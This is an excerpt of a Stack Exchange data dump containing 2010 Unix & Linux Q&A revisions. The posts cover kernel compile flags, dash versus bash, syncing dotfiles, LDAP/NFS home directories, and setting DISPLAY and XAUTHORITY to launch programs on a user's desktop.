  <row Id="3189" PostHistoryTypeId="2" PostId="1600" RevisionGUID="3c69a6dc-005f-471e-bc10-be2c07be78f3" CreationDate="2010-09-04T22:59:37.787" UserId="885" Text="To launch a graphical program on a user's desktop, you need to find two things: what display the user's desktop is on (the address) and what authorization cookie to use (the password).&#xD;&#xA;&#xD;&#xA;The following command should list the local displays that the user is logged on (one per line) on most unices:&#xD;&#xA;&#xD;&#xA;    who | awk -v user=&quot;$target_user&quot; '$1 == user &amp;&amp; $2 ~ &quot;^:&quot; {print $2}'&#xD;&#xA;&#xD;&#xA;Finding the authorization cookie is a little harder. You have to look for the user's cookie file, which is `~/.Xauthority` by default (all you need is the location of the cookie file, you don't need to extract the cookie from it). I can't think of a portable way to find out the actual X cookie file. The most accurate way to find out is to find out the pid of the X process and look for the argument to the `-auth` option. Another way is to find a process running on that X server and grab its `XAUTHORITY` environemnt variable. Simply using `.Xauthority` in the user's home directory works on many systems, but not on a default Ubuntu configuration.&#xD;&#xA;&#xD;&#xA;Once you have both pieces of information, put the chosen display in the `DISPLAY` environment variable, the chosen X authority cookie file in the `XAUTHORITY` environment variable, and you're set. It doesn't matter what user the program runs as; combine with `su` if you like.&#xD;&#xA;" />
  <row Id="3190" PostHistoryTypeId="2" PostId="1601" RevisionGUID="793b7978-06a7-49a6-88ca-2c4f3cd0c3e6" CreationDate="2010-09-05T00:25:56.583" UserId="1484" Text="While you can get away with using -O3 and other optimizations knobs on most applications (and it *can* result in speed improvements), I would hesitate to use such tweaks the kernel itself or on the tool chain required for building it (compiler, binutils, etc.).&#xD;&#xA;&#xD;&#xA;Think about it:  Is a 5% performance gain of the raid and ext3 subsystems worth system crashes or potential data loss and/or corruption?&#xD;&#xA;&#xD;&#xA;Tweak all the knobs to want for that Quake port you're playing or the audio/video codecs you use for ripping your DVD collection to divx files.  You'll likely see an improvement.  Just don't mess w/ the kernel unless you have time to waste and data you can bear to lose." />
  <row Id="3191" PostHistoryTypeId="2" PostId="1602" RevisionGUID="33093b7e-8e3a-441b-82c0-d40c2fc93432" CreationDate="2010-09-05T01:00:56.890" UserId="116" Text="-O3 uses some aggressive optimisations that are only safe if certain assumptions about register use, how stack frames are interacted with, and function reentrancy are true, and these assumptions are not guaranteed to be true in some code like the kernel especially when inline assembly is used (as it is in some very low level parts of the kernel and its driver modules)." />
  <row Id="3192" PostHistoryTypeId="2" PostId="1603" RevisionGUID="ae6b9d76-4be7-4c6f-ac2f-8e5815b134b8" CreationDate="2010-09-05T01:33:52.190" UserId="1299" Text="You should be able to see what keyboard layout is being used by opening the Keyboard settings dialog (`System &gt; Preferences &gt; Keyboard`) and selecting the `Layouts` tab.&#xD;&#xA;&#xD;&#xA;Also, there is a [bug report on Launchpad (#592371)][1] related to the Logitech Cordless Wave Pro key mappings. I'm using Ubuntu 10.04 and it looks like the changes made by the [upstream patch][2] referenced in that bug have been applied in the current [udev package][3] (151-12.1).&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/ubuntu/+source/udev/+bug/592371&#xD;&#xA;  [2]: http://git.kernel.org/?p=linux/hotplug/udev.git;a=commitdiff;h=0fade61274497b874a7446fdd35bb7e1f5856f08&#xD;&#xA;  [3]: http://packages.ubuntu.com/lucid-updates/udev" />
  <row Id="3193" PostHistoryTypeId="2" PostId="1604" RevisionGUID="2357d4cc-41d5-4b2f-828b-38372999b7e0" CreationDate="2010-09-05T01:41:14.533" UserId="317" Text="is there any patch for linux kernel source to use different memory allocator such as [ned allocator][1], or [TLSF allocator][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nedprod.com/programs/portable/nedmalloc/&#xD;&#xA;  [2]: http://rtportal.upv.es/rtmalloc/" />
  <row Id="3194" PostHistoryTypeId="1" PostId="1604" RevisionGUID="2357d4cc-41d5-4b2f-828b-38372999b7e0" CreationDate="2010-09-05T01:41:14.533" UserId="317" Text="kernel memory allocator patch" />
  <row Id="3195" PostHistoryTypeId="3" PostId="1604" RevisionGUID="2357d4cc-41d5-4b2f-828b-38372999b7e0" CreationDate="2010-09-05T01:41:14.533" UserId="317" Text="élinuxàékernelàécompilingàémemoryàépatchà" />
  <row Id="3196" PostHistoryTypeId="2" PostId="1605" RevisionGUID="34fdf737-b60b-425c-adc7-62f8801ba9c8" CreationDate="2010-09-05T01:53:37.527" UserId="317" Text="what's the benefit to compile the kernel module into kernel (not as loadable module) ?" />
  <row Id="3197" PostHistoryTypeId="1" PostId="1605" RevisionGUID="34fdf737-b60b-425c-adc7-62f8801ba9c8" CreationDate="2010-09-05T01:53:37.527" UserId="317" Text="benefit of kernel module compiled inside kernel?" />
  <row Id="3198" PostHistoryTypeId="3" PostId="1605" RevisionGUID="34fdf737-b60b-425c-adc7-62f8801ba9c8" CreationDate="2010-09-05T01:53:37.527" UserId="317" Text="élinuxàékernelàémoduleàécompileà" />
  <row Id="3199" PostHistoryTypeId="2" PostId="1606" RevisionGUID="9cf25ea4-dca7-428e-9509-cfd5f42692b6" CreationDate="2010-09-05T02:19:50.930" UserId="317" Text="it said that [dash][1] execute faster than bash, the question is if i set `/bin/sh` to dash, will all scripts that use `/bin/sh` shebang that was intented for bash will work under dash?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Debian_Almquist_shell" />
  <row Id="3200" PostHistoryTypeId="1" PostId="1606" RevisionGUID="9cf25ea4-dca7-428e-9509-cfd5f42692b6" CreationDate="2010-09-05T02:19:50.930" UserId="317" Text="dash compatibility to bash" />
  <row Id="3201" PostHistoryTypeId="3" PostId="1606" RevisionGUID="9cf25ea4-dca7-428e-9509-cfd5f42692b6" CreationDate="2010-09-05T02:19:50.930" UserId="317" Text="éshellàébashàéterminalàécompatibilityàédashà" />
  <row Id="3202" PostHistoryTypeId="5" PostId="1606" RevisionGUID="45b130a7-f1f8-4a10-b71d-309995eed251" CreationDate="2010-09-05T02:31:07.037" UserId="317" Comment="edited body" Text="it said that [dash][1] execute faster than bash, the question is if i set `/bin/sh` to dash, will all scripts that use `/bin/sh` shebang that was intended for bash will work under dash?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Debian_Almquist_shell" />
  <row Id="3203" PostHistoryTypeId="2" PostId="1607" RevisionGUID="5710d3c6-e3a6-47b5-8954-a7d7d3f31778" CreationDate="2010-09-05T02:32:28.140" UserId="1207" Text="No, not all scripts intended for bash work with dash. A number of 'bashism' will not work in dash, such as C-style for loops and the double-bracket comparison operators.  If you have a set of bash scripts that you want to use for dash, you may consider using [checkbashisms][1].  This tool will check your script for bash-only features that aren't likely to work in dash.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/checkbaskisms/" />
  <row Id="3204" PostHistoryTypeId="5" PostId="1606" RevisionGUID="95258b7b-0133-4ff0-b092-40b60579143a" CreationDate="2010-09-05T02:36:26.657" UserId="73" Comment="added 27 characters in body" Text="Wikipedia [says][1] that `dash` executes faster than `bash`. My question is, if I set `/bin/sh` to `dash`, will all scripts that use `/bin/sh` in their shebang line that was intended for `bash` work under `dash`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Debian_Almquist_shell" />
  <row Id="3205" PostHistoryTypeId="5" PostId="1605" RevisionGUID="7a269c0d-e078-466f-91bf-8f19f3f0eaa0" CreationDate="2010-09-05T02:38:58.990" UserId="73" Comment="added 10 characters in body" Text="What's the benefit of compiling kernel modules into the kernel (instead of as loadable modules)?" />
  <row Id="3206" PostHistoryTypeId="2" PostId="1608" RevisionGUID="6799b8dd-933c-474e-8189-43900c1b1058" CreationDate="2010-09-05T02:57:58.960" UserId="317" Text="does [PREEMPT_RT][1] patch (real-time kernel) has benefit for regular desktop user ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://rt.wiki.kernel.org/index.php/CONFIG_PREEMPT_RT_Patch" />
  <row Id="3207" PostHistoryTypeId="1" PostId="1608" RevisionGUID="6799b8dd-933c-474e-8189-43900c1b1058" CreationDate="2010-09-05T02:57:58.960" UserId="317" Text="Linux PreemptRT patch benefit for desktop users?" />
  <row Id="3208" PostHistoryTypeId="3" PostId="1608" RevisionGUID="6799b8dd-933c-474e-8189-43900c1b1058" CreationDate="2010-09-05T02:57:58.960" UserId="317" Text="élinuxàékernelàéperformanceàépatchàérealötimeà" />
  <row Id="3209" PostHistoryTypeId="5" PostId="1608" RevisionGUID="c795aa17-98e8-4a3f-8509-874d3a2cde27" CreationDate="2010-09-05T03:44:11.803" UserId="73" Comment="added 7 characters in body; edited title" Text="Does the [PREEMPT_RT][1] patch (real-time kernel) have any benefit for regular desktop users?&#xD;&#xA;&#xD;&#xA;  [1]: https://rt.wiki.kernel.org/index.php/CONFIG_PREEMPT_RT_Patch" />
  <row Id="3210" PostHistoryTypeId="4" PostId="1608" RevisionGUID="c795aa17-98e8-4a3f-8509-874d3a2cde27" CreationDate="2010-09-05T03:44:11.803" UserId="73" Comment="added 7 characters in body; edited title" Text="Does the Linux PreemptRT patch benefit desktop users?" />
  <row Id="3211" PostHistoryTypeId="2" PostId="1609" RevisionGUID="9b2d0a5c-8fa7-401c-811a-d969bd365ec3" CreationDate="2010-09-05T04:13:31.633" UserId="1487" Text="used in gentoo, i didn't notice anything unusual" />
  <row Id="3212" PostHistoryTypeId="2" PostId="1610" RevisionGUID="b1b07d56-234a-472e-baca-02203979343a" CreationDate="2010-09-05T05:44:47.227" UserId="1490" Text="If you're looking for a simple-to-use yet powerful solution, I'd recommend `rdiff-backup`.&#xD;&#xA;&#xD;&#xA;Basically, it makes a copy of a source directory to a destination directory but it also saves additional information so you can go back in time to whenever you want.&#xD;&#xA;&#xD;&#xA;And, of course, it preserves symlinks, special files, hardlinks, permissions, uid/gid ownership and modification times." />
  <row Id="3213" PostHistoryTypeId="2" PostId="1611" RevisionGUID="b1ef0fb5-2c68-493c-9d74-008af5882a3b" CreationDate="2010-09-05T06:27:17.043" UserDisplayName="qeek" Text="Not even sh scripts are compatible with dash. Pkgsrc's bootstrap, par example." />
  <row Id="3214" PostHistoryTypeId="16" PostId="1611" RevisionGUID="b1ef0fb5-2c68-493c-9d74-008af5882a3b" CreationDate="2010-09-05T06:27:17.043" UserDisplayName="qeek" />
  <row Id="3215" PostHistoryTypeId="6" PostId="312" RevisionGUID="9ad26d43-e2b0-4437-9d50-c294c2dc8539" CreationDate="2010-09-05T06:31:43.987" UserId="73" Comment="edited tags" Text="ésolarisà" />
  <row Id="3216" PostHistoryTypeId="6" PostId="1027" RevisionGUID="670c2e86-707c-4853-aee8-31479fbe677c" CreationDate="2010-09-05T06:36:15.857" UserId="73" Comment="edited tags" Text="ékdeàéterminalàécharacteröencodingà" />
  <row Id="3217" PostHistoryTypeId="2" PostId="1612" RevisionGUID="adcfe4eb-7216-4266-a6a3-789788f83bbb" CreationDate="2010-09-05T07:37:05.977" UserId="98" Text="Sometimes it's necessary. If you compile some **vital** driver (e.g. SCSI driver) as a module your system won't boot.&#xD;&#xA;&#xD;&#xA;Another great candidate for *not* compiling as a module is the filesystem type of the root partition. If the kernel doesn't understand `ext3` to read `/lib/modules/` how will it load modules from it ?&#xD;&#xA;&#xD;&#xA;Think about it this way: to use modules the kernel needs to know enough about your system to to read and load kernel modules. Use that and trial and error :-)" />
  <row Id="3218" PostHistoryTypeId="5" PostId="1599" RevisionGUID="da5ada5a-cd96-4c0a-8044-c5996cd1448c" CreationDate="2010-09-05T07:52:18.507" UserId="1131" Comment="code snippet" Text="You could look at how acpid does it. E.g. when it issues xscreensaver commands or blanks the screen for each user running X or X-session.&#xD;&#xA;&#xD;&#xA;For example under Ubuntu this file contains related stuff:&#xD;&#xA;&#xD;&#xA;    /etc/acpi/lid.sh&#xD;&#xA;&#xD;&#xA;Contains this loop:&#xD;&#xA;&#xD;&#xA;    for x in /tmp/.X11-unix/*; do&#xD;&#xA;        displaynum=`echo $x | sed s#/tmp/.X11-unix/X##`&#xD;&#xA;        getXuser;&#xD;&#xA;        if [ x&quot;$XAUTHORITY&quot; != x&quot;&quot; ]; then&#xD;&#xA;            export DISPLAY=&quot;:$displaynum&quot;&#xD;&#xA;            grep -q off-line /proc/acpi/ac_adapter/*/state&#xD;&#xA;            if [ $? = 1 ]&#xD;&#xA;                then&#xD;&#xA;                if pidof xscreensaver &gt; /dev/null; then &#xD;&#xA;                    su $user -c &quot;xscreensaver-command -unthrottle&quot;&#xD;&#xA;                fi&#xD;&#xA;            fi&#xD;&#xA;            if [ x$RADEON_LIGHT = xtrue ]; then&#xD;&#xA;                [ -x /usr/sbin/radeontool ] &amp;&amp; radeontool light on&#xD;&#xA;            fi&#xD;&#xA;            if [ `pidof xscreensaver` ]; then&#xD;&#xA;                su $user -c &quot;xscreensaver-command -deactivate&quot;&#xD;&#xA;            fi&#xD;&#xA;            su $user -c &quot;xset dpms force on&quot;&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3222" PostHistoryTypeId="2" PostId="1614" RevisionGUID="6cadd199-4a49-441f-aad3-aeb75c31a16d" CreationDate="2010-09-05T09:46:17.027" UserId="1327" Text="Twenty minutes ago, I was painfully recreating a complex directory structure from files I had one my other PC. I decided to run `du` to see if it was near completion. Given the size, I knew it would take few minutes, so went to get some coffee.&#xD;&#xA;&#xD;&#xA;On my return I noticed, to my severe dismay, that instead of running &#xD;&#xA;&#xD;&#xA;    du -hs /path/to/important/folder&#xD;&#xA;&#xD;&#xA;I had absent-mindedly run &#xD;&#xA;&#xD;&#xA;    rm -r  /path/to/important/folder" />
  <row Id="3223" PostHistoryTypeId="16" PostId="1614" RevisionGUID="6cadd199-4a49-441f-aad3-aeb75c31a16d" CreationDate="2010-09-05T09:46:17.027" UserId="-1" />
  <row Id="3224" PostHistoryTypeId="2" PostId="1615" RevisionGUID="ea036299-186a-4a82-ae34-0920aca88916" CreationDate="2010-09-05T10:43:49.577" UserId="250" Text="It's such a pain when you don't know what distribution to choose.&#xD;&#xA;It's such a waste of time and effort for developers to port stuff from one distribution to another.&#xD;&#xA;It makes Linux/Unix more complicated (and scary) than it should be.&#xD;&#xA;&#xD;&#xA;While I know there are certain reasons why the situation became the way it is now, I wonder if anyone has ever thought of reunifying the worlds of Linux and other (free) Unix? **This is still a question**: Have there been any (failed) attempts to unify Linux/Unix?" />
  <row Id="3225" PostHistoryTypeId="1" PostId="1615" RevisionGUID="ea036299-186a-4a82-ae34-0920aca88916" CreationDate="2010-09-05T10:43:49.577" UserId="250" Text="Attempts to unify Linux and other free Unix?" />
  <row Id="3226" PostHistoryTypeId="3" PostId="1615" RevisionGUID="ea036299-186a-4a82-ae34-0920aca88916" CreationDate="2010-09-05T10:43:49.577" UserId="250" Text="édistrosà" />
  <row Id="3227" PostHistoryTypeId="2" PostId="1616" RevisionGUID="7e65ee2a-46b1-4e92-b531-7585f1e9a37d" CreationDate="2010-09-05T11:41:46.990" UserId="305" Text="I don't think so. The patch seems to provide real-time scheduling which is very important for some enviroments (planes, nuclear reactors etc.) but overkill for regular desktop. The current kernels however seems to be enough &quot;real-time&quot; and &quot;preemptive&quot; for regular desktop users[1].&#xD;&#xA;&#xD;&#xA;It may be useful if you work with high quality audio recording and playing in which even small amount of time may dramatically reduce the quality.&#xD;&#xA;&#xD;&#xA;[1] Technically both are 0/1 features but I guess it is clear what I mean ;)" />
  <row Id="3228" PostHistoryTypeId="2" PostId="1617" RevisionGUID="db10d9fa-4374-4e66-b899-2a64c34a3301" CreationDate="2010-09-05T12:12:04.127" UserId="1327" Text="I have a few different linux machines and a lot of **config** files *(and folders)* on each.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    ~/.ssh/config&#xD;&#xA;    ~/.config/openbox/rc.xml&#xD;&#xA;    ~/.config/openbox/autostart.sh&#xD;&#xA;    ~/.scripts/ ( folder )&#xD;&#xA;    ~/.bashrc&#xD;&#xA;    ...etc&#xD;&#xA;&#xD;&#xA;Is there a simple and elegant method to keep these files synced between my machines *( one has no internet access )*?&#xD;&#xA;&#xD;&#xA;Also, some files will need a more advanced syncing process, as they will have to differ slightly... for example:&#xD;&#xA;&#xD;&#xA;My desktop keybaord has a range of hotkeys, where my laptop has almost none. I use **XF86Mail** to open thunderbird on my desktop, but **Meta+M** on my laptop.&#xD;&#xA;&#xD;&#xA;My Home Desktop and Work Desktop are both more &quot;multiple user&quot; orientated, where my Laptop is just for me. So on my laptop, I tend to keep the 'rc.xml' file for openbox at `/etc/xdg/openbox/rc.xml` but on the desktops at `~/.config/openbox/rc.xml`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="3229" PostHistoryTypeId="1" PostId="1617" RevisionGUID="db10d9fa-4374-4e66-b899-2a64c34a3301" CreationDate="2010-09-05T12:12:04.127" UserId="1327" Text="Keeping config files synced across multiple pc's" />
  <row Id="3230" PostHistoryTypeId="3" PostId="1617" RevisionGUID="db10d9fa-4374-4e66-b899-2a64c34a3301" CreationDate="2010-09-05T12:12:04.127" UserId="1327" Text="éconfigurationà" />
  <row Id="3231" PostHistoryTypeId="2" PostId="1618" RevisionGUID="847e952f-e193-4166-9fea-6852802867ff" CreationDate="2010-09-05T12:15:57.530" UserId="305" Text="It depends. If you have small amount of memory the use of modules may improve the resume as they are not reloaded every time (I felt it significant on 2 GiB of RAM but not on 4 GiB on traditional harddrives). Especially when due to some bug battery module (regardless of being compiled-in or as module) started very long (read several minutes).&#xD;&#xA;&#xD;&#xA;Also when you don't know what hardware are you going to use modules are clearly benefit. &#xD;&#xA;&#xD;&#xA;PS. You can compile even vital drivers as modules as long as you include them in initrd. For example distros will includ the filesystem of /, drivers of harddrive etc. in initrd on installation." />
  <row Id="3232" PostHistoryTypeId="2" PostId="1619" RevisionGUID="109f0810-3db1-49ba-bd71-046d0ef3b1b9" CreationDate="2010-09-05T12:18:27.887" UserId="1339" Text="Arch is a minimalistic linux distribution, so normally there are no other special configuration files which are getting included in some strange placces, modified by system configuration wizards.&#xD;&#xA;&#xD;&#xA;/etc/profile is the right place to do this for a system wide configuration.&#xD;&#xA;&#xD;&#xA;&gt; This file is intended to be used for&#xD;&#xA;&gt; ALL common Bourne-compatible shells.&#xD;&#xA;&gt; Shell specifics should be handled in&#xD;&#xA;&gt; /etc/profile.$SHELL where $SHELL is&#xD;&#xA;&gt; the name of the binary being run&#xD;&#xA;&gt; (discounting symlinks)&#xD;&#xA;&#xD;&#xA;It is also mentioned in the offical FAQ for reloading if you're shell can't find an newly installed binary: http://wiki.archlinux.org/index.php/FAQ#Q.29_I_just_installed_Package_X._How_do_I_start_it.3F&#xD;&#xA;" />
  <row Id="3233" PostHistoryTypeId="2" PostId="1620" RevisionGUID="a5db31d1-6f1c-400d-a64d-f8f48082b5c5" CreationDate="2010-09-05T12:26:00.377" UserId="1339" Text="If you would unify the distributions system configuration tools and general behavior there would be no need for different distributions.&#xD;&#xA;&#xD;&#xA;An advantage would be to define some binary interface for the applications.&#xD;&#xA;The [The Linux Standard Base Workgroup][1] tries to define some.&#xD;&#xA;&#xD;&#xA;Here is a list of the specifications which are the base of some iso standards: [LSB Specs][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfoundation.org/collaborate/workgroups/lsb&#xD;&#xA;  [2]: http://refspecs.freestandards.org/lsb.shtml" />
  <row Id="3234" PostHistoryTypeId="2" PostId="1621" RevisionGUID="02940b16-2ac8-4dfd-b6a4-4fbc34338a03" CreationDate="2010-09-05T12:27:15.120" UserId="1327" Text="I want to set up several computers on a LAN, all connecting to one unix server.&#xD;&#xA;&#xD;&#xA;The primary goal being that the **user accounts** should only exist on the server. So that any user could access his normal interface through any of the given computers.&#xD;&#xA;&#xD;&#xA;What different ways are there of doing this, and what are pros and cons for these methods?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;sidenote: I'm looking for a method that is simplistic, requires an absolute minimum work done on the individual terminals. If the user can play games and do resource intensive stuff, it would be a bonus." />
  <row Id="3235" PostHistoryTypeId="1" PostId="1621" RevisionGUID="02940b16-2ac8-4dfd-b6a4-4fbc34338a03" CreationDate="2010-09-05T12:27:15.120" UserId="1327" Text="Setting up a unix powered network." />
  <row Id="3236" PostHistoryTypeId="3" PostId="1621" RevisionGUID="02940b16-2ac8-4dfd-b6a4-4fbc34338a03" CreationDate="2010-09-05T12:27:15.120" UserId="1327" Text="éserverà" />
  <row Id="3237" PostHistoryTypeId="2" PostId="1622" RevisionGUID="fec57bf6-c4ea-41d3-ab2b-f54e00a64461" CreationDate="2010-09-05T12:30:48.383" UserId="305" Text="`-O3` have several disadvantages:&#xD;&#xA;&#xD;&#xA;1. First of all it often produces not faster code then `-O2` or `-Os`. Sometimes it produces longer code due to loop unrolling which may be in fact slower due to worse cache performance of code.&#xD;&#xA;2. As it was said it sometimes produces wrong code. It may be either due to error in optimalization or error in code (like ignoring strict aliasing). As kernel code sometimes is and sometimes have to be 'smart' I'd say it is possible that some kernel developer made some error. I experienced various strange problems, like crashing of user-spece utilities, when I compiled kernel with gcc 4.5 which at that point was stable. I still use gcc 4.4 for kernel and several selected userspace utilities due to various bugs. The same may apply for `-O3`.&#xD;&#xA;3. I don't think it have much benefit for kernel. Kernel does not do heavy computations and in places it does it is optimized with assembler. `-O3` flag will **not** change the cost of context switching or speed of I/O. I don't think something like &lt;0.1% speedup of overall performance is worth it.&#xD;&#xA;" />
  <row Id="3238" PostHistoryTypeId="2" PostId="1623" RevisionGUID="6c0ae788-24a3-4e0e-bb5b-21fbf94f7495" CreationDate="2010-09-05T12:43:46.577" UserId="1497" Text="Puppet http://www.puppetlabs.com/ and Cfengine http://www.cfengine.org/ are two good tools for syncing files (and a lot more..)" />
  <row Id="3239" PostHistoryTypeId="2" PostId="1624" RevisionGUID="9da3780f-21f8-4cd2-9f8b-64e8437d8a17" CreationDate="2010-09-05T12:46:24.480" UserId="1497" Text="This is because the libraries support an extension that isn't supported by the X server yet. This message is harmless and can be ignored." />
  <row Id="3240" PostHistoryTypeId="2" PostId="1625" RevisionGUID="fc006f55-0fbc-460a-8657-c0db818bd08f" CreationDate="2010-09-05T13:17:23.937" UserId="885" Text="Keep the files under version control. This has multiple benefits, including facilitating keeping files synchronized (commit on one machine, update on the others) and keeping a history of changes (so you can easily find out what broke a program that worked last month).&#xD;&#xA;&#xD;&#xA;I use CVS and synchronize the repositories with Unison or sneakernet, but that's because I've been doing this since a time before widely-available distributed version control. Anyone starting now should use a proper **distributed version control** tool, such as bazaar, darcs, git, mercurial, ...&#xD;&#xA;&#xD;&#xA;Managing files that need to differ between machines is always a bit of a pain. If the configuration language allows conditionals, use them. Otherwise, if there is an include mechanism, use it to split the configuration file into a machine-dependent part and a shared part. Keep all the machine-dependent parts in a separate directory (something like `~/.local/NAME/`) which is always referred to through a symbolic link (`~/.here` -&gt; `local/NAME` on each machine). I have a few files that are generated by a script in the shared part from parameters kept in the machine-specific part; this precludes modifying these files indirectly through a GUI configuration interface. Avoid configuring things in `/etc`, it's harder to synchronize between machines.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3241" PostHistoryTypeId="2" PostId="1626" RevisionGUID="452248a3-acdf-4730-a76a-48b369b2c855" CreationDate="2010-09-05T13:32:05.367" UserId="885" Text="For account management, use LDAP. Simply install an LDAP client on all clients (e.g. the `ldap-auth-client` package on Ubuntu) and run an LDAP server on the server.&#xD;&#xA;&#xD;&#xA;Keep the home directories over NFS or Samba. The simplest setup is to mount the home filesystem as a whole on all clients at boot time. This doesn't provide good security because anyone who plugs their a laptop can access all files; if that's a concern, Samba is the next simplest method.&#xD;&#xA;&#xD;&#xA;The major downside to LDAP and NFS or Samba is that users won't be able to do anything on the clients if the server or the network is down. I don't think any solution to this downside will come anywhere near your requirement for simplicity.&#xD;&#xA;" />
  <row Id="3242" PostHistoryTypeId="2" PostId="1627" RevisionGUID="0e190bba-fff4-46e8-9423-1418916e7f24" CreationDate="2010-09-05T13:44:23.077" UserId="1498" Text="You can also do this with Archive Manager if you prefer a GUI. Look under 'Save-&gt;Other Options-&gt;Split into volumes of'." />
  <row Id="3243" PostHistoryTypeId="5" PostId="1593" RevisionGUID="3791f0ed-6b5d-4d34-abd0-cb5cd5ef6bf5" CreationDate="2010-09-05T14:14:37.453" UserId="29" Comment="update code" Text="For most commands a wrapper will have to be written because Syslog-ng will only execute the command when it starts. This means that the command has to effectively be a daemon itself always accepting input from stdin.&#xD;&#xA;&#xD;&#xA;That's simple though...&#xD;&#xA; &#xD;&#xA;    #!/bin/dash&#xD;&#xA;    &#xD;&#xA;    while read line&#xD;&#xA;    do&#xD;&#xA;        /execute/my/app $line&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;unfortunately this script doesn't work for me, probably because it doesn't know which display to use. But if your script doesn't need an X server then a simple format like this should work you.&#xD;&#xA;&#xD;&#xA;Although this is no way helpful due to the fact that Syslog-ng will only start the program on startup I found the fact that `xargs` can create positional arguments from standard input interesting.&#xD;&#xA;&#xD;&#xA;    echo 'test' | /usr/bin/xargs -I '{}' /usr/bin/kdialog --passivepopup '{}' 2" />
  <row Id="3244" PostHistoryTypeId="2" PostId="1628" RevisionGUID="ee8f9650-9839-4d7a-a6fa-e87b180c7efe" CreationDate="2010-09-05T14:27:34.903" UserId="1499" Text="There was [United Linux][1] , which attempted to crete a baseline for linux distros.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/United_Linux" />
  <row Id="3245" PostHistoryTypeId="2" PostId="1629" RevisionGUID="50c5ffea-cc79-46e3-937f-92eacafe164a" CreationDate="2010-09-05T14:33:16.853" UserId="29" Text="In addition to what [echox said][1].&#xD;&#xA;&#xD;&#xA;Any attempt is an exercise in futility. Truthfully? I don't want to run my Desktop the way I run a Server, and the way I run my desktop, rolling bleeding edge, would not be good for everyone.&#xD;&#xA;&#xD;&#xA;What we can and should do is attempt to minify the differences. I think things like the freedesktop notification API and Systray API which are now a pseudo standard (I think) is a good thing. The more we make things like that which takes duplication away from the dev's the better. Poppler is a good example of an app with a lot of split effort being pulled into one effort, now any app that needs to render pdf's has a good library to use on all platforms.&#xD;&#xA;&#xD;&#xA;In short we should all try to share as much code an API's as possible instead of creating a new library every time we want to do something.&#xD;&#xA;&#xD;&#xA;( Will someone create a standard api to access the 'system password manager' already (be that kwallet or whatever ) )&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1615/attempts-to-unify-linux-and-other-free-unix/1620#1620" />
  <row Id="3246" PostHistoryTypeId="2" PostId="1630" RevisionGUID="12e5cc2b-3c51-4842-b9ee-d08dc7c04bf8" CreationDate="2010-09-05T14:38:01.813" UserId="1501" Text="I would like to call &#xD;&#xA;&#xD;&#xA;&gt; something &gt; file&#xD;&#xA;&#xD;&#xA;on a remote system through ssh, but if I call&#xD;&#xA;&#xD;&#xA;&gt; ssh host something &gt; file&#xD;&#xA;&#xD;&#xA;the pipe is executed locally as ssh etc &gt; file&#xD;&#xA;&#xD;&#xA;I've tried it with ' or '' or dd or with a pipe | instead, but I do not get it to work. How can this be done?" />
  <row Id="3247" PostHistoryTypeId="1" PostId="1630" RevisionGUID="12e5cc2b-3c51-4842-b9ee-d08dc7c04bf8" CreationDate="2010-09-05T14:38:01.813" UserId="1501" Text="call a pipe over ssh" />
  <row Id="3248" PostHistoryTypeId="3" PostId="1630" RevisionGUID="12e5cc2b-3c51-4842-b9ee-d08dc7c04bf8" CreationDate="2010-09-05T14:38:01.813" UserId="1501" Text="ésshàépipeàéioöredirectionà" />
  <row Id="3249" PostHistoryTypeId="2" PostId="1631" RevisionGUID="c97a9bbe-f4c6-4910-8667-405134b86313" CreationDate="2010-09-05T15:05:13.907" UserId="382" Text="Try:&#xD;&#xA;&#xD;&#xA;    ssh host 'sh -c something &gt; file'" />
  <row Id="3252" PostHistoryTypeId="2" PostId="1633" RevisionGUID="58373488-de35-4375-ba29-2014c0d28b4b" CreationDate="2010-09-05T15:43:11.927" UserId="317" Text="well when you said &quot;linux&quot; you are only saying about the kernel, the distro itself composed of many GNU tool/apps and other application, which is hard to make them unified as every developer or users has its own taste and preferences, that's the one that make linux distro so vary. But **the kernel itself more or less quite unified**.&#xD;&#xA;&#xD;&#xA;as for unification or standardization itself there are bunch of efforts such as [Linux standard base][1] and for example [Filesystem Hierarchy Standard][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Linux_Standard_Base&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard" />
  <row Id="3253" PostHistoryTypeId="6" PostId="453" RevisionGUID="24c5ff14-2de7-49d5-8bf9-5d2775637e3c" CreationDate="2010-09-05T16:25:54.323" UserId="29" Comment="add firefox since this is primarily dependent on browser plugins and features" Text="élinuxàédownloadàésoftwareörecàéfirefoxà" />
  <row Id="3254" PostHistoryTypeId="5" PostId="458" RevisionGUID="b02d20b8-f011-409f-81a0-dd0fc0c67b00" CreationDate="2010-09-05T16:42:51.817" UserId="250" Comment="added 20 characters in body" Text="I find myself using [DownThemAll][1] (was &quot;downthemall&quot;) for my downloads. It's a Firefox plugin and thus available everywhere (a very important reason why I chose it). You can&#xD;&#xA;&#xD;&#xA; - download all links / media in a page&#xD;&#xA; - download each item with up to 10 connections&#xD;&#xA; - and yes, you can download Facebook videos&#xD;&#xA;&#xD;&#xA;[1]: https://addons.mozilla.org/en-US/firefox/addon/201/" />
